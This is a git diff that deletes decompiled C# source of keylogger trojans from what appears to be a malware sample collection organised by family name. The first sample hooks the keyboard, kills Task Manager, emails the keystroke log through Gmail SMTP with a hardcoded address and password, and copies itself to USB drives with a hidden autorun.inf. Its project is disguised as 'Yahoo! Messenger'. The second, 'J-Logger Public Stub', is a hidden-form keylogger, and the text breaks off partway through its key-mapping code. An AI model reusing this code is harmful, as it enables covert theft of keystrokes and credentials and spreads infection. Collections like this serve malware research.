- public static void OnTimedEvent(object source, EventArgs e) - { - foreach (Process process in Process.GetProcesses()) - { - if (process.MainWindowTitle.Contains("Taskmgr.exe")) - process.Kill(); - } - MailMessage message = new MailMessage(); - message.To.Add("dungcoj15@gmail.com"); - message.From = new MailAddress("dungcoj15@gmail.com", "dungcoj", Encoding.UTF8); - message.Subject = "May Client gui"; - message.SubjectEncoding = Encoding.UTF8; - message.Body = "ciao ale"; - message.BodyEncoding = Encoding.UTF8; - message.IsBodyHtml = false; - message.Priority = MailPriority.High; - SmtpClient smtpClient = new SmtpClient(); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential("dungcoj15@gmail.com", "dungphungba"); - smtpClient.Port = 587; - smtpClient.Host = "smtp.gmail.com"; - smtpClient.EnableSsl = true; - Attachment attachment = new Attachment(Program.path); - message.Attachments.Add(attachment); - try - { - smtpClient.Send(message); - Program.failed = (byte) 0; - } - catch - { - attachment.Dispose(); - Program.failed = (byte) 1; - } - attachment.Dispose(); - if (Program.failed == (byte) 0) - System.IO.File.WriteAllText(Program.path, ""); - Program.failed = (byte) 0; - } - - private static IntPtr SetHook(Program.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using (ProcessModule mainModule = currentProcess.MainModule) - return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - if (nCode >= 0 && wParam == (IntPtr) 256) - { - StreamWriter streamWriter = System.IO.File.AppendText(Program.path); - int num = Marshal.ReadInt32(lParam); - if (Keys.Shift == Control.ModifierKeys) - Program.shift = (byte) 1; - switch ((Keys) num) - { - case Keys.Back: - streamWriter.Write("back"); - break; - case Keys.Tab: - streamWriter.Write("TAB"); - break; - case Keys.Return: - streamWriter.WriteLine(""); - break; - case Keys.Capital: - Program.caps = Program.caps != (byte) 0 ? (byte) 0 : (byte) 1; - break; - case Keys.Space: - streamWriter.Write(" "); - break; - case Keys.D0: - if (Program.shift == (byte) 0) - { - streamWriter.Write("0"); - break; - } - streamWriter.Write(")"); - break; - case Keys.D1: - if (Program.shift == (byte) 0) - { - streamWriter.Write("1"); - break; - } - streamWriter.Write("!"); - break; - case Keys.D2: - if (Program.shift == (byte) 0) - { - streamWriter.Write("2"); - break; - } - streamWriter.Write("@"); - break; - case Keys.D3: - if (Program.shift == (byte) 0) - { - streamWriter.Write("3"); - break; - } - streamWriter.Write("#"); - break; - case Keys.D4: - if (Program.shift == (byte) 0) - { - streamWriter.Write("4"); - break; - } - streamWriter.Write("$"); - break; - case Keys.D5: - if (Program.shift == (byte) 0) - { - streamWriter.Write("5"); - break; - } - streamWriter.Write("%"); - break; - case Keys.D6: - if (Program.shift == (byte) 0) - { - streamWriter.Write("6"); - break; - } - streamWriter.Write("^"); - break; - case Keys.D7: - if (Program.shift == (byte) 0) - { - streamWriter.Write("7"); - break; - } - streamWriter.Write("&"); - break; - case Keys.D8: - if (Program.shift == (byte) 0) - { - streamWriter.Write("8"); - break; - } - streamWriter.Write("*"); - break; - case Keys.D9: - if (Program.shift == (byte) 0) - { - streamWriter.Write("9"); - break; - } - streamWriter.Write("("); - break; - case Keys.LWin: - case Keys.RWin: - case Keys.Apps: - case Keys.LShiftKey: - case Keys.RShiftKey: - case Keys.LControlKey: - case Keys.RControlKey: - case Keys.LMenu: - case Keys.RMenu: - streamWriter.Write(""); - break; - case Keys.OemSemicolon: - if (Program.shift == (byte) 0) - { - streamWriter.Write(";"); - break; - } - streamWriter.Write(":"); - break; - case Keys.Oemplus: - if (Program.shift == (byte) 0) - { - streamWriter.Write("="); - break; - } - streamWriter.Write("+"); - break; - case Keys.Oemcomma: - if (Program.shift == (byte) 0) - { - streamWriter.Write(","); - break; - } - streamWriter.Write("<"); - break; - case Keys.OemMinus: - if (Program.shift == (byte) 0) - { - streamWriter.Write("-"); - break; - } - streamWriter.Write("_"); - break; - case Keys.OemPeriod: - if (Program.shift == (byte) 0) - { - streamWriter.Write("."); - break; - } - streamWriter.Write(">"); - break; - case Keys.OemQuestion: - if (Program.shift == (byte) 0) - { - streamWriter.Write("/"); - break; - } - streamWriter.Write("?"); - break; - case Keys.Oemtilde: - if (Program.shift == (byte) 0) - { - streamWriter.Write("`"); - break; - } - streamWriter.Write("~"); - break; - case Keys.OemOpenBrackets: - if (Program.shift == (byte) 0) - { - streamWriter.Write("["); - break; - } - streamWriter.Write("{"); - break; - case Keys.OemPipe: - streamWriter.Write("|"); - break; - case Keys.OemCloseBrackets: - if (Program.shift == (byte) 0) - { - streamWriter.Write("]"); - break; - } - streamWriter.Write("}"); - break; - case Keys.OemQuotes: - if (Program.shift == (byte) 0) - { - streamWriter.Write("'"); - break; - } - streamWriter.Write('"'); - break; - default: - if (Program.shift == (byte) 0 && Program.caps == (byte) 0) - streamWriter.Write(((Keys) num).ToString().ToLower()); - if (Program.shift == (byte) 1 && Program.caps == (byte) 0) - streamWriter.Write(((Keys) num).ToString().ToUpper()); - if (Program.shift == (byte) 0 && Program.caps == (byte) 1) - streamWriter.Write(((Keys) num).ToString().ToUpper()); - if (Program.shift == (byte) 1 && Program.caps == (byte) 1) - { - streamWriter.Write(((Keys) num).ToString().ToLower()); - break; - } - break; - } - Program.shift = (byte) 0; - streamWriter.Close(); - } - return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam); - } - - public static void USBSpread(object source, EventArgs e) - { - string sourceFileName = Application.ExecutablePath.ToString(); - DriveInfo[] drives = DriveInfo.GetDrives(); - try - { - foreach (DriveInfo driveInfo in drives) - { - if (driveInfo.DriveType == DriveType.Removable) - { - StreamWriter streamWriter = new StreamWriter(driveInfo.Name + "autorun.inf"); - streamWriter.WriteLine("[autorun]\n"); - streamWriter.WriteLine("open=start.exe"); - streamWriter.WriteLine("action=Run VMCLite"); - streamWriter.Close(); - System.IO.File.SetAttributes(driveInfo.Name + "autorun.inf", System.IO.File.GetAttributes(driveInfo.Name + "autorun.inf") | FileAttributes.Hidden); - try - { - System.IO.File.Copy(sourceFileName, driveInfo.Name + "start.exe", true); - System.IO.File.SetAttributes(driveInfo.Name + "start.exe", System.IO.File.GetAttributes(driveInfo.Name + "start.exe") | FileAttributes.Hidden); - } - finally - { - Console.WriteLine("Removable device rooted"); - } - } - } - } - catch (Exception ex) - { - Console.WriteLine(ex.ToString()); - } - } - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.csproj deleted file mode 100644 index d95d99a4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.csproj +++ /dev/null @@ -1,41 +0,0 @@ - - - - - Debug - AnyCPU - {3A045A96-A84B-43AB-9E49-53CCFD999CE1} - WinExe - Yahoo! Messenger - 1.0.0.0 - kdc - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.sln deleted file mode 100644 index 11badacc..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Trojan-Spy.MSIL.KeyLogger.irg.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Yahoo! Messenger", "Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7.csproj", "{3A045A96-A84B-43AB-9E49-53CCFD999CE1}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {3A045A96-A84B-43AB-9E49-53CCFD999CE1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3A045A96-A84B-43AB-9E49-53CCFD999CE1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3A045A96-A84B-43AB-9E49-53CCFD999CE1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3A045A96-A84B-43AB-9E49-53CCFD999CE1}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/AssemblyInfo.cs deleted file mode 100644 index 3c236350..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("J-Logger Public Stub")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyTitle("J-Logger Public Stub")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyTrademark("")] -[assembly: Guid("2a575f60-e7d2-4261-a984-8ba6808cbfa0")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.cs deleted file mode 100644 index f77ac131..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.cs +++ /dev/null @@ -1,2109 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.Form1 -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using J_Logger_Public_Stub.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.FileIO; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace J_Logger_Public_Stub -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - private string[] options; - private string text1; - private string text2; - private string text3; - private string text4; - private string text5; - private string text6; - private string text7; - private string text8; - private string text9; - private string text10; - private const string FileSplit = "@jojogizmojake@"; - private string us; - private string pa; - private string t0; - private string pr0ccess; - private string up; - private string screen; - private string ncrypt; - private string sendl; - private string sends; - private string jojo; - private string TEMP; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private string strin; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.TEMP = Path.GetTempPath(); - this.kbHook = new Form1.KeyboardHook(); - this.strin = (string) null; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Label1 = new Label(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.Label1.AutoSize = true; - this.Label1.Location = new Point(4, 7); - this.Label1.Name = "Label1"; - Label label1 = this.Label1; - Size size1 = new Size(11, 13); - Size size2 = size1; - label1.Size = size2; - this.Label1.TabIndex = 0; - this.Label1.Text = "''"; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(10, 13); - this.ClientSize = size1; - this.Controls.Add((Control) this.Label1); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.shiftandcaps); - if (this._kbHook != null) - Form1.KeyboardHook.KeyDown -= downEventHandler; - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - } - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - public void shiftandcaps(Keys Key) - { - if (!MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += "0"; - break; - case Keys.D1: - this.jojo += "1"; - break; - case Keys.D2: - this.jojo += "2"; - break; - case Keys.D3: - this.jojo += "3"; - break; - case Keys.D4: - this.jojo += "4"; - break; - case Keys.D5: - this.jojo += "5"; - break; - case Keys.D6: - this.jojo += "6"; - break; - case Keys.D7: - this.jojo += "7"; - break; - case Keys.D8: - this.jojo += "8"; - break; - case Keys.D9: - this.jojo += "9"; - break; - case Keys.A: - this.jojo += "a"; - break; - case Keys.B: - this.jojo += "b"; - break; - case Keys.C: - this.jojo += "c"; - break; - case Keys.D: - this.jojo += "d"; - break; - case Keys.E: - this.jojo += "e"; - break; - case Keys.F: - this.jojo += "f"; - break; - case Keys.G: - this.jojo += "g"; - break; - case Keys.H: - this.jojo += "h"; - break; - case Keys.I: - this.jojo += "i"; - break; - case Keys.J: - this.jojo += "j"; - break; - case Keys.K: - this.jojo += "k"; - break; - case Keys.L: - this.jojo += "l"; - break; - case Keys.M: - this.jojo += "m"; - break; - case Keys.N: - this.jojo += "n"; - break; - case Keys.O: - this.jojo += "o"; - break; - case Keys.P: - this.jojo += "p"; - break; - case Keys.Q: - this.jojo += "q"; - break; - case Keys.R: - this.jojo += "r"; - break; - case Keys.S: - this.jojo += "s"; - break; - case Keys.T: - this.jojo += "t"; - break; - case Keys.U: - this.jojo += "u"; - break; - case Keys.V: - this.jojo += "v"; - break; - case Keys.W: - this.jojo += "w"; - break; - case Keys.X: - this.jojo += "x"; - break; - case Keys.Y: - this.jojo += "y"; - break; - case Keys.Z: - this.jojo += "z"; - break; - case Keys.NumPad0: - this.jojo += "0"; - break; - case Keys.NumPad1: - this.jojo += "1"; - break; - case Keys.NumPad2: - this.jojo += "2"; - break; - case Keys.NumPad3: - this.jojo += "3"; - break; - case Keys.NumPad4: - this.jojo += "4"; - break; - case Keys.NumPad5: - this.jojo += "5"; - break; - case Keys.NumPad6: - this.jojo += "6"; - break; - case Keys.NumPad7: - this.jojo += "7"; - break; - case Keys.NumPad8: - this.jojo += "8"; - break; - case Keys.NumPad9: - this.jojo += "9"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ";"; - break; - case Keys.Oemcomma: - this.jojo += ","; - break; - case Keys.OemMinus: - this.jojo += "-"; - break; - case Keys.OemPeriod: - this.jojo += "."; - break; - case Keys.OemQuestion: - this.jojo += "/"; - break; - case Keys.Oemtilde: - this.jojo += "`"; - break; - case Keys.OemOpenBrackets: - this.jojo += "["; - break; - case Keys.OemPipe: - this.jojo += "\\"; - break; - case Keys.OemCloseBrackets: - this.jojo += "]"; - break; - case Keys.OemQuotes: - this.jojo += "'"; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += "0"; - break; - case Keys.D1: - this.jojo += "1"; - break; - case Keys.D2: - this.jojo += "2"; - break; - case Keys.D3: - this.jojo += "3"; - break; - case Keys.D4: - this.jojo += "4"; - break; - case Keys.D5: - this.jojo += "5"; - break; - case Keys.D6: - this.jojo += "6"; - break; - case Keys.D7: - this.jojo += "7"; - break; - case Keys.D8: - this.jojo += "8"; - break; - case Keys.D9: - this.jojo += "9"; - break; - case Keys.A: - this.jojo += "A"; - break; - case Keys.B: - this.jojo += "B"; - break; - case Keys.C: - this.jojo += "C"; - break; - case Keys.D: - this.jojo += "D"; - break; - case Keys.E: - this.jojo += "E"; - break; - case Keys.F: - this.jojo += "F"; - break; - case Keys.G: - this.jojo += "G"; - break; - case Keys.H: - this.jojo += "H"; - break; - case Keys.I: - this.jojo += "I"; - break; - case Keys.J: - this.jojo += "J"; - break; - case Keys.K: - this.jojo += "K"; - break; - case Keys.L: - this.jojo += "L"; - break; - case Keys.M: - this.jojo += "M"; - break; - case Keys.N: - this.jojo += "N"; - break; - case Keys.O: - this.jojo += "O"; - break; - case Keys.P: - this.jojo += "P"; - break; - case Keys.Q: - this.jojo += "Q"; - break; - case Keys.R: - this.jojo += "R"; - break; - case Keys.S: - this.jojo += "S"; - break; - case Keys.T: - this.jojo += "T"; - break; - case Keys.U: - this.jojo += "U"; - break; - case Keys.V: - this.jojo += "V"; - break; - case Keys.W: - this.jojo += "W"; - break; - case Keys.X: - this.jojo += "X"; - break; - case Keys.Y: - this.jojo += "Y"; - break; - case Keys.Z: - this.jojo += "Z"; - break; - case Keys.NumPad0: - this.jojo += "0"; - break; - case Keys.NumPad1: - this.jojo += "1"; - break; - case Keys.NumPad2: - this.jojo += "2"; - break; - case Keys.NumPad3: - this.jojo += "3"; - break; - case Keys.NumPad4: - this.jojo += "4"; - break; - case Keys.NumPad5: - this.jojo += "5"; - break; - case Keys.NumPad6: - this.jojo += "6"; - break; - case Keys.NumPad7: - this.jojo += "7"; - break; - case Keys.NumPad8: - this.jojo += "8"; - break; - case Keys.NumPad9: - this.jojo += "9"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ";"; - break; - case Keys.Oemcomma: - this.jojo += ","; - break; - case Keys.OemMinus: - this.jojo += "-"; - break; - case Keys.OemPeriod: - this.jojo += "."; - break; - case Keys.OemQuestion: - this.jojo += "/"; - break; - case Keys.Oemtilde: - this.jojo += "`"; - break; - case Keys.OemOpenBrackets: - this.jojo += "["; - break; - case Keys.OemPipe: - this.jojo += "\\"; - break; - case Keys.OemCloseBrackets: - this.jojo += "]"; - break; - case Keys.OemQuotes: - this.jojo += "'"; - break; - } - } - else if (MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += ")"; - break; - case Keys.D1: - this.jojo += "!"; - break; - case Keys.D2: - this.jojo += "@"; - break; - case Keys.D3: - this.jojo += "#"; - break; - case Keys.D4: - this.jojo += "$"; - break; - case Keys.D5: - this.jojo += "%"; - break; - case Keys.D6: - this.jojo += "^"; - break; - case Keys.D7: - this.jojo += "&"; - break; - case Keys.D8: - this.jojo += "*"; - break; - case Keys.D9: - this.jojo += "("; - break; - case Keys.A: - this.jojo += "A"; - break; - case Keys.B: - this.jojo += "B"; - break; - case Keys.C: - this.jojo += "C"; - break; - case Keys.D: - this.jojo += "D"; - break; - case Keys.E: - this.jojo += "E"; - break; - case Keys.F: - this.jojo += "F"; - break; - case Keys.G: - this.jojo += "G"; - break; - case Keys.H: - this.jojo += "H"; - break; - case Keys.I: - this.jojo += "I"; - break; - case Keys.J: - this.jojo += "J"; - break; - case Keys.K: - this.jojo += "K"; - break; - case Keys.L: - this.jojo += "L"; - break; - case Keys.M: - this.jojo += "M"; - break; - case Keys.N: - this.jojo += "N"; - break; - case Keys.O: - this.jojo += "O"; - break; - case Keys.P: - this.jojo += "P"; - break; - case Keys.Q: - this.jojo += "Q"; - break; - case Keys.R: - this.jojo += "R"; - break; - case Keys.S: - this.jojo += "S"; - break; - case Keys.T: - this.jojo += "T"; - break; - case Keys.U: - this.jojo += "U"; - break; - case Keys.V: - this.jojo += "V"; - break; - case Keys.W: - this.jojo += "W"; - break; - case Keys.X: - this.jojo += "X"; - break; - case Keys.Y: - this.jojo += "Y"; - break; - case Keys.Z: - this.jojo += "Z"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ":"; - break; - case Keys.Oemcomma: - this.jojo += "<"; - break; - case Keys.OemMinus: - this.jojo += "_"; - break; - case Keys.OemPeriod: - this.jojo += ">"; - break; - case Keys.OemQuestion: - this.jojo += "?"; - break; - case Keys.Oemtilde: - this.jojo += "~"; - break; - case Keys.OemOpenBrackets: - this.jojo += "{"; - break; - case Keys.OemPipe: - this.jojo += "|"; - break; - case Keys.OemCloseBrackets: - this.jojo += "}"; - break; - case Keys.OemQuotes: - this.jojo += this.Label1.Text; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += "0"; - break; - case Keys.D1: - this.jojo += "1"; - break; - case Keys.D2: - this.jojo += "2"; - break; - case 